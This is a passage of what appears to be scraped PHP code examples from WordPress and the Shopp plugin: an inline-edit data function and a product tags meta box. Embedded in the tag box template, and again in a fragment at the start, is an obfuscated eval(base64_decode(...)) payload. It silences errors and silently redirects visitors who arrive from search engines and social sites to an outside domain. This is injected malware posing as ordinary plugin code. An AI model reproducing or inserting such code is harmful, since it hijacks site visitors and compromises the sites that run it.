uKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    printf(__('Choose from the most used tags in %s'), $box['title']);
    ?>
</a></p>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
Exemple #20
0
/**
 * Adds hidden fields with the data for use in the inline editor for posts and pages.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post Post object.
 */
function get_inline_data($post)
{
    $post_type_object = get_post_type_object($post->post_type);
    if (!current_user_can('edit_post', $post->ID)) {
        return;
    }
    $title = esc_textarea(trim($post->post_title));
    /** This filter is documented in wp-admin/edit-tag-form.php */
    echo '
<div class="hidden" id="inline_' . $post->ID . '">
	<div class="post_title">' . $title . '</div>' . '<div class="post_name">' . apply_filters('editable_slug', $post->post_name, $post) . '</div>
	<div class="post_author">' . $post->post_author . '</div>
	<div class="comment_status">' . esc_html($post->comment_status) . '</div>
	<div class="ping_status">' . esc_html($post->ping_status) . '</div>
	<div class="_status">' . esc_html($post->post_status) . '</div>
	<div class="jj">' . mysql2date('d', $post->post_date, false) . '</div>
	<div class="mm">' . mysql2date('m', $post->post_date, false) . '</div>
	<div class="aa">' . mysql2date('Y', $post->post_date, false) . '</div>
	<div class="hh">' . mysql2date('H', $post->post_date, false) . '</div>
	<div class="mn">' . mysql2date('i', $post->post_date, false) . '</div>
	<div class="ss">' . mysql2date('s', $post->post_date, false) . '</div>
	<div class="post_password">' . esc_html($post->post_password) . '</div>';
    if ($post_type_object->hierarchical) {
        echo '<div class="post_parent">' . $post->post_parent . '</div>';
    }
    if ($post->post_type == 'page') {
        echo '<div class="page_template">' . esc_html(get_post_meta($post->ID, '_wp_page_template', true)) . '</div>';
    }
    if (post_type_supports($post->post_type, 'page-attributes')) {
        echo '<div class="menu_order">' . $post->menu_order . '</div>';
    }
    $taxonomy_names = get_object_taxonomies($post->post_type);
    foreach ($taxonomy_names as $taxonomy_name) {
        $taxonomy = get_taxonomy($taxonomy_name);
        if ($taxonomy->hierarchical && $taxonomy->show_ui) {
            $terms = get_object_term_cache($post->ID, $taxonomy_name);
            if (false === $terms) {
                $terms = wp_get_object_terms($post->ID, $taxonomy_name);
                wp_cache_add($post->ID, wp_list_pluck($terms, 'term_id'), $taxonomy_name . '_relationships');
            }
            $term_ids = empty($terms) ? array() : wp_list_pluck($terms, 'term_id');
            echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode(',', $term_ids) . '</div>';
        } elseif ($taxonomy->show_ui) {
            $terms_to_edit = get_terms_to_edit($post->ID, $taxonomy_name);
            if (!is_string($terms_to_edit)) {
                $terms_to_edit = '';
            }
            echo '<div class="tags_input" id="' . $taxonomy_name . '_' . $post->ID . '">' . esc_html(str_replace(',', ', ', $terms_to_edit)) . '</div>';
        }
    }
    if (!$post_type_object->hierarchical) {
        echo '<div class="sticky">' . (is_sticky($post->ID) ? 'sticky' : '') . '</div>';
    }
    if (post_type_supports($post->post_type, 'post-formats')) {
        echo '<div class="post_format">' . esc_html(get_post_format($post->ID)) . '</div>';
    }
    echo '</div>';
}
Exemple #21
0
function shopp_tags_meta_box($Product, $options)
{
    $defaults = array('taxonomy' => 'shopp_tag');
    if (!isset($options['args']) || !is_array($options['args'])) {
        $options = array();
    } else {
        $options = $options['args'];
    }
    extract(wp_parse_args($options, $defaults), EXTR_SKIP);
    $tax = get_taxonomy($taxonomy);
    $disabled = !current_user_can($tax->cap->assign_terms) ? 'disabled="disabled"' : '';
    ?>
<div id="taxonomy-<?php 
    echo $taxonomy;
    ?>
" class="tags-metabox">
<div class="hide-if-no-js">
<p><?php 
    echo sprintf(__('Type a tag name and press %s tab to add it.', 'Shopp'), '<abbr title="' . __('tab key', 'Shopp') . '">&#8677;</abbr>');
    ?>
</p>
</div>
<div class="nojs-tags hide-if-js">
<p><?php 
    echo $tax->labels->add_or_remove_items;
    ?>
</p>
<textarea name="<?php 
    echo "tax_input[{$taxonomy}]";
    ?>
" rows="3" cols="20" class="tags" id="tax-input-<?php 
    echo $taxonomy;
    ?>
" <?php 
    echo $disabled;
    ?>
><?php 
    echo esc_attr(get_terms_to_edit($Product->id, $taxonomy));
    ?>
</textarea></div>
</div>
<?php 
}